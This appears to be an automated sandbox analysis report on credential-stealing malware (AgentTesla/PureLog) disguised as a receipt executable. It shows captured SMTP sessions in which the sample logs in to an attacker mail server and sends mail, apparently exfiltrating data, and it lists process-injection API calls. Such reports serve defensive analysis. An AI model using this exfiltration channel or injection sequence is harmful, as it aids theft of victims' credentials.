Apr 20, 2024 10:23:33.556593895 CEST	587	49717	66.29.151.236	192.168.2.5	250-server1.coleoffice.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 20, 2024 10:23:33.557555914 CEST	49717	587	192.168.2.5	66.29.151.236	AUTH login c2VuZGVyaGVscGRlc2tAY29sZW9mZmljZS5zaG9w
Apr 20, 2024 10:23:33.711218119 CEST	587	49717	66.29.151.236	192.168.2.5	334 UGFzc3dvcmQ6
Apr 20, 2024 10:23:33.871107101 CEST	587	49717	66.29.151.236	192.168.2.5	235 2.7.0 Authentication successful
Apr 20, 2024 10:23:33.871438980 CEST	49717	587	192.168.2.5	66.29.151.236	MAIL FROM:<senderhelpdesk@coleoffice.shop>
Apr 20, 2024 10:23:34.027132034 CEST	587	49717	66.29.151.236	192.168.2.5	250 2.1.0 Ok
Apr 20, 2024 10:23:34.027381897 CEST	49717	587	192.168.2.5	66.29.151.236	RCPT TO:<helpdesk@coleoffice.shop>
Apr 20, 2024 10:23:34.183841944 CEST	587	49717	66.29.151.236	192.168.2.5	250 2.1.5 Ok
Apr 20, 2024 10:23:34.186126947 CEST	49717	587	192.168.2.5	66.29.151.236	DATA
Apr 20, 2024 10:23:34.339793921 CEST	587	49717	66.29.151.236	192.168.2.5	354 End data with <CR><LF>.<CR><LF>
Apr 20, 2024 10:23:34.344316006 CEST	49717	587	192.168.2.5	66.29.151.236	.
Apr 20, 2024 10:23:34.503941059 CEST	587	49717	66.29.151.236	192.168.2.5	250 2.0.0 Ok: queued as 1AE2765BC8
Apr 20, 2024 10:24:24.353084087 CEST	587	49723	66.29.151.236	192.168.2.5	220 server1.coleoffice.shop127.0.0.1 ESMTP Postfix
Apr 20, 2024 10:24:24.353815079 CEST	49723	587	192.168.2.5	66.29.151.236	EHLO 899552
Apr 20, 2024 10:24:24.507359982 CEST	587	49723	66.29.151.236	192.168.2.5	250-server1.coleoffice.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 20, 2024 10:24:24.507610083 CEST	49723	587	192.168.2.5	66.29.151.236	AUTH login c2VuZGVyaGVscGRlc2tAY29sZW9mZmljZS5zaG9w
Apr 20, 2024 10:24:24.661345959 CEST	587	49723	66.29.151.236	192.168.2.5	334 UGFzc3dvcmQ6
Apr 20, 2024 10:24:24.820612907 CEST	587	49723	66.29.151.236	192.168.2.5	235 2.7.0 Authentication successful
Apr 20, 2024 10:24:24.820864916 CEST	49723	587	192.168.2.5	66.29.151.236	MAIL FROM:<senderhelpdesk@coleoffice.shop>
Apr 20, 2024 10:24:24.978142977 CEST	587	49723	66.29.151.236	192.168.2.5	250 2.1.0 Ok
Apr 20, 2024 10:24:24.978544950 CEST	49723	587	192.168.2.5	66.29.151.236	RCPT TO:<helpdesk@coleoffice.shop>
Apr 20, 2024 10:24:25.134524107 CEST	587	49723	66.29.151.236	192.168.2.5	250 2.1.5 Ok
Apr 20, 2024 10:24:25.134696960 CEST	49723	587	192.168.2.5	66.29.151.236	DATA
Apr 20, 2024 10:24:25.288217068 CEST	587	49723	66.29.151.236	192.168.2.5	354 End data with <CR><LF>.<CR><LF>
Apr 20, 2024 10:24:25.290112019 CEST	49723	587	192.168.2.5	66.29.151.236	.
Apr 20, 2024 10:24:25.446571112 CEST	587	49723	66.29.151.236	192.168.2.5	250 2.0.0 Ok: queued as 0ED4565C12
Apr 20, 2024 10:24:33.241050005 CEST	587	49725	66.29.151.236	192.168.2.5	220 server1.coleoffice.shop127.0.0.1 ESMTP Postfix
Apr 20, 2024 10:24:33.241369963 CEST	49725	587	192.168.2.5	66.29.151.236	EHLO 899552
Apr 20, 2024 10:24:33.395343065 CEST	587	49725	66.29.151.236	192.168.2.5	250-server1.coleoffice.shop127.0.0.1 250-PIPELINING 250-SIZE 204800000 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Apr 20, 2024 10:24:33.395627975 CEST	49725	587	192.168.2.5	66.29.151.236	AUTH login c2VuZGVyaGVscGRlc2tAY29sZW9mZmljZS5zaG9w
Apr 20, 2024 10:24:33.549527884 CEST	587	49725	66.29.151.236	192.168.2.5	334 UGFzc3dvcmQ6
Apr 20, 2024 10:24:33.709498882 CEST	587	49725	66.29.151.236	192.168.2.5	235 2.7.0 Authentication successful
Apr 20, 2024 10:24:33.709743977 CEST	49725	587	192.168.2.5	66.29.151.236	MAIL FROM:<senderhelpdesk@coleoffice.shop>
Apr 20, 2024 10:24:33.868622065 CEST	587	49725	66.29.151.236	192.168.2.5	250 2.1.0 Ok
Apr 20, 2024 10:24:33.871786118 CEST	49725	587	192.168.2.5	66.29.151.236	RCPT TO:<helpdesk@coleoffice.shop>
Apr 20, 2024 10:24:34.028599024 CEST	587	49725	66.29.151.236	192.168.2.5	250 2.1.5 Ok
Apr 20, 2024 10:24:34.028764009 CEST	49725	587	192.168.2.5	66.29.151.236	DATA
Apr 20, 2024 10:24:34.182538986 CEST	587	49725	66.29.151.236	192.168.2.5	354 End data with <CR><LF>.<CR><LF>
Apr 20, 2024 10:24:34.184365988 CEST	49725	587	192.168.2.5	66.29.151.236	.
Apr 20, 2024 10:24:34.341480970 CEST	587	49725	66.29.151.236	192.168.2.5	250 2.0.0 Ok: queued as E8FCE65C12

Target ID:	0
Start time:	10:22:52
Start date:	20/04/2024
Path:	C:\Users\user\Desktop\Receipt_7814002.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Receipt_7814002.exe"
Imagebase:	0xa70000
File size:	72'352 bytes
MD5 hash:	67F9E0F23980B5D10AF7A7EB8859FAB2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2373984396.0000000006260000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2369700519.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2364465182.000000000492B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2364465182.0000000004229000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:23:30
Start date:	20/04/2024
Path:	C:\Users\user\Desktop\Receipt_7814002.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Receipt_7814002.exe"
Imagebase:	0xd90000
File size:	72'352 bytes
MD5 hash:	67F9E0F23980B5D10AF7A7EB8859FAB2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3238307456.0000000003237000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3238307456.0000000003211000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3238307456.0000000003211000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	10:23:42
Start date:	20/04/2024
Path:	C:\Users\user\AppData\Roaming\daqfbrlrs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
Imagebase:	0x940000
File size:	72'352 bytes
MD5 hash:	67F9E0F23980B5D10AF7A7EB8859FAB2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2883800610.0000000006BD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2883800610.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs Detection: 41%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:23:53
Start date:	20/04/2024
Path:	C:\Users\user\AppData\Roaming\daqfbrlrs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
Imagebase:	0xc40000
File size:	72'352 bytes
MD5 hash:	67F9E0F23980B5D10AF7A7EB8859FAB2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2974997993.0000000006DD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2974997993.0000000006D31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:24:21
Start date:	20/04/2024
Path:	C:\Users\user\AppData\Roaming\daqfbrlrs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
Imagebase:	0x1f0000
File size:	72'352 bytes
MD5 hash:	67F9E0F23980B5D10AF7A7EB8859FAB2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.3237092657.0000000002654000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.3237092657.000000000264C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.3237092657.0000000002621000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.3237092657.0000000002621000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	10:24:30
Start date:	20/04/2024
Path:	C:\Users\user\AppData\Roaming\daqfbrlrs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
Imagebase:	0x650000
File size:	72'352 bytes
MD5 hash:	67F9E0F23980B5D10AF7A7EB8859FAB2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3236721251.00000000029B4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3236721251.00000000029AC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3236721251.0000000002981000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3236721251.0000000002981000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	209
Total number of Limit Nodes:	9

Executed Functions

Function 0130DA28 Relevance: 8.5, Strings: 6, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJbq, xrefs: 0130DBCA
4']q, xrefs: 0130E4FB
U}<, xrefs: 0130DE19
Te]q, xrefs: 0130E14B
paq, xrefs: 0130E5E2
xb`q, xrefs: 0130DB55

Memory Dump Source

Source File: 00000000.00000002.2361978999.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1300000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: 4']q$TJbq$Te]q$U}<$paq$xb`q
API String ID: 0-3708470112
Opcode ID: e5456c196cb308f8ed45536dc379f27b3d306342ba599dea071aac99911a1e03
Instruction ID: 95bdb5d7e805a8490856819da1ec77bb515e4faebc96adf04850854bf843149b
Opcode Fuzzy Hash: e5456c196cb308f8ed45536dc379f27b3d306342ba599dea071aac99911a1e03
Instruction Fuzzy Hash: 79A2B475A00228CFDB65CF69C984AD9BBF2BF89304F1581E9D509AB365DB319E81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06C0D760 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Ddq, xrefs: 06C0D865

Memory Dump Source

Source File: 00000000.00000002.2374834205.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bf0000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: Ddq
API String ID: 0-562783569
Opcode ID: a696ed358afa2fc6f711f2394463911f6b0a32911cbbd6656b43add93b896d23
Instruction ID: d195cb300237fd1b2394539104d295a731bd7714553613b3b4d97a0e915de7d3
Opcode Fuzzy Hash: a696ed358afa2fc6f711f2394463911f6b0a32911cbbd6656b43add93b896d23
Instruction Fuzzy Hash: F0D1C374E00219CFDB54DFA9D994A9DBBB2FF89300F1081A9D409AB365DB31AD81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0145B704 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 266
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0145B977

Strings

0YY[, xrefs: 0145B773
0YY[, xrefs: 0145B744

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: CreateProcess
String ID: 0YY[$0YY[
API String ID: 963392458-1653760762
Opcode ID: 8dfa71831c780a3c8bee059fa0680fd1d912f90b0d42e78ba80b330fe943ecf1
Instruction ID: 4fdb236fc6c489f75cf0bf1d2c7cd46cb84d5caad07b070564f2497a9c794799
Opcode Fuzzy Hash: 8dfa71831c780a3c8bee059fa0680fd1d912f90b0d42e78ba80b330fe943ecf1
Instruction Fuzzy Hash: B1A11370D00218CFDB60CFA9D8857EEBBB2FF09314F14916AE858A7291DB349985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0145B710 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0145B977

Strings

0YY[, xrefs: 0145B773
0YY[, xrefs: 0145B744

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: CreateProcess
String ID: 0YY[$0YY[
API String ID: 963392458-1653760762
Opcode ID: d3911c9738c187206a94d33fe485317f93d24fee472044699fabe18798d8184b
Instruction ID: 3fe69858836e265a7789f92901d8beb00060820561b167d0979447f7dd4f019f
Opcode Fuzzy Hash: d3911c9738c187206a94d33fe485317f93d24fee472044699fabe18798d8184b
Instruction Fuzzy Hash: B9A112B0D00218CFDB50CFA9D8857EEBBB2FF09314F14916AE858A7291DB349985CF45

Uniqueness

Uniqueness Score: -1.00%

Function 06C0EC08 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 06C0EF81
4']q, xrefs: 06C0EE22
4']q, xrefs: 06C0EF01

Memory Dump Source

Source File: 00000000.00000002.2374834205.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bf0000_Receipt_7814002.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q
API String ID: 0-705557208
Opcode ID: e8ca3b844a72928aee9a49f59e556fdac934f189a96864973286e864e02de8d0
Instruction ID: e03c5879a98d7d871443725a6df53fc70e744214aa0917bdfc95aa4334db9693
Opcode Fuzzy Hash: e8ca3b844a72928aee9a49f59e556fdac934f189a96864973286e864e02de8d0
Instruction Fuzzy Hash: 0CF1FB34A00118CFDB54DFA8D998E9DB7B2FF89304F118558E906AB3A5DB70ED86CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0145C3F8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 0145C4D0

Strings

0YY[, xrefs: 0145C41F

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: 0YY[
API String ID: 3559483778-633494755
Opcode ID: bcf9ae423a2a4dd722c99c8ceb985a603b474b5a9bf9e5003f3c90a0b07f7b1e
Instruction ID: d4f3ac729fea1b6f0cada8f3bdc3e90002a887ae16f6ac8d88fe8b84a893ad5c
Opcode Fuzzy Hash: bcf9ae423a2a4dd722c99c8ceb985a603b474b5a9bf9e5003f3c90a0b07f7b1e
Instruction Fuzzy Hash: FE419CB4D012589FDB14CFA9D584AEEBBF1BB49314F10902AE815B7250C739A946CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0145C400 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 115
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 0145C4D0

Strings

0YY[, xrefs: 0145C41F

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: 0YY[
API String ID: 3559483778-633494755
Opcode ID: bbd664a5579db955b729779556b2e67a8889e79899d06e1208bab0a434e44dbe
Instruction ID: b87babdad464609e981f855a2f9aad0c872e1d807eb594f60ae716125869010b
Opcode Fuzzy Hash: bbd664a5579db955b729779556b2e67a8889e79899d06e1208bab0a434e44dbe
Instruction Fuzzy Hash: FC41ABB4D012589FDF10CFA9D984AEEFBF5BB49310F10902AE818B7250D738AA45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0145C0F8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0145C1EA

Strings

0YY[, xrefs: 0145C15A

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: AllocVirtual
String ID: 0YY[
API String ID: 4275171209-633494755
Opcode ID: 6407bc61205d68008b287dc221a8712697d34f7eda67ac34a961ae2c78090394
Instruction ID: ede775d9c1c639a2b29beb6c8a7d20863e8d4f8f0150b3eb2346dcb25de922d7
Opcode Fuzzy Hash: 6407bc61205d68008b287dc221a8712697d34f7eda67ac34a961ae2c78090394
Instruction Fuzzy Hash: 90419CB4D00208DFDF54CFA9E980AEEBBB5BF49310F10942AE819B7251C735A946CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0145C140 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0145C1EA

Strings

0YY[, xrefs: 0145C15A

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: AllocVirtual
String ID: 0YY[
API String ID: 4275171209-633494755
Opcode ID: e64abc3d60eca4ade4dd790b35582e91b9d35e4f52e057ccc8e272ead1933ad2
Instruction ID: a810aeab4bf5845b09b29c178365c847e8178f959b55d6ca67dee244322f02ef
Opcode Fuzzy Hash: e64abc3d60eca4ade4dd790b35582e91b9d35e4f52e057ccc8e272ead1933ad2
Instruction Fuzzy Hash: 473187B8D00258DFCF10CFA9D980A9EFBB5FB49310F10942AE819B7210D735A946CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0145C138 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0145C1EA

Strings

0YY[, xrefs: 0145C15A

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: AllocVirtual
String ID: 0YY[
API String ID: 4275171209-633494755
Opcode ID: 947fad78b87f3b16c15f7b0b4507829c195a81f7f3197af3969988c1cbc81d96
Instruction ID: b0ba6197446f68fb75d277616675cdba7421b53bcf0b4996cc7cf8078990b452
Opcode Fuzzy Hash: 947fad78b87f3b16c15f7b0b4507829c195a81f7f3197af3969988c1cbc81d96
Instruction Fuzzy Hash: 643178B8D00258DFCF14CFA9D980A9EFBB5BB09310F10942AE819B7210D735A946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0145BAB8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0145BB6F

Strings

0YY[, xrefs: 0145BADF

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: ContextThreadWow64
String ID: 0YY[
API String ID: 983334009-633494755
Opcode ID: f145cfafef8876049ef445207e7bd0b69bfa28a65768fbcc5d7fa5c4108b4982
Instruction ID: 564b2a0bcbd375c29e527abc386fea8a55f8c75a6444cdabd80c6a3d8f3e43d6
Opcode Fuzzy Hash: f145cfafef8876049ef445207e7bd0b69bfa28a65768fbcc5d7fa5c4108b4982
Instruction Fuzzy Hash: F041ACB4D012589FDB14CFA9D584AEEBBF1FF49310F24802AE819B7254C7789945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0145BAC0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0145BB6F

Strings

0YY[, xrefs: 0145BADF

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: ContextThreadWow64
String ID: 0YY[
API String ID: 983334009-633494755
Opcode ID: a0f2f3edb0e8de2185753c82dce4ed58d5e56f33b5b5ee9707f626c5a804e844
Instruction ID: bf3cdde19545f3baa3b57f9cb5c5015835b2cad546a9715519c5abff18d53142
Opcode Fuzzy Hash: a0f2f3edb0e8de2185753c82dce4ed58d5e56f33b5b5ee9707f626c5a804e844
Instruction Fuzzy Hash: 9831ACB4D002589FDB14CFA9D884AAEBBF1FB49310F14802AE419B7250C778A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0145C792 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 0145C816

Strings

0YY[, xrefs: 0145C7B2

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: ResumeThread
String ID: 0YY[
API String ID: 947044025-633494755
Opcode ID: c2a4c1249bc38c29f8c185a4ba7fb2f6c46d8bccd96338de3b95a1f5a4412230
Instruction ID: 44b4fb71b3a69c411761636eeaa98fba9c20f784d6e3deb02cba34dfb95abdd3
Opcode Fuzzy Hash: c2a4c1249bc38c29f8c185a4ba7fb2f6c46d8bccd96338de3b95a1f5a4412230
Instruction Fuzzy Hash: 1331BCB4D012589FCB14CFA9D485A9EFBF4FF49320F10802AE819B7210C739A942CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0145C798 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 0145C816

Strings

0YY[, xrefs: 0145C7B2

Memory Dump Source

Source File: 00000000.00000002.2362095067.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1450000_Receipt_7814002.jbxd

Similarity

API ID: ResumeThread
String ID: 0YY[
API String ID: 947044025-633494755
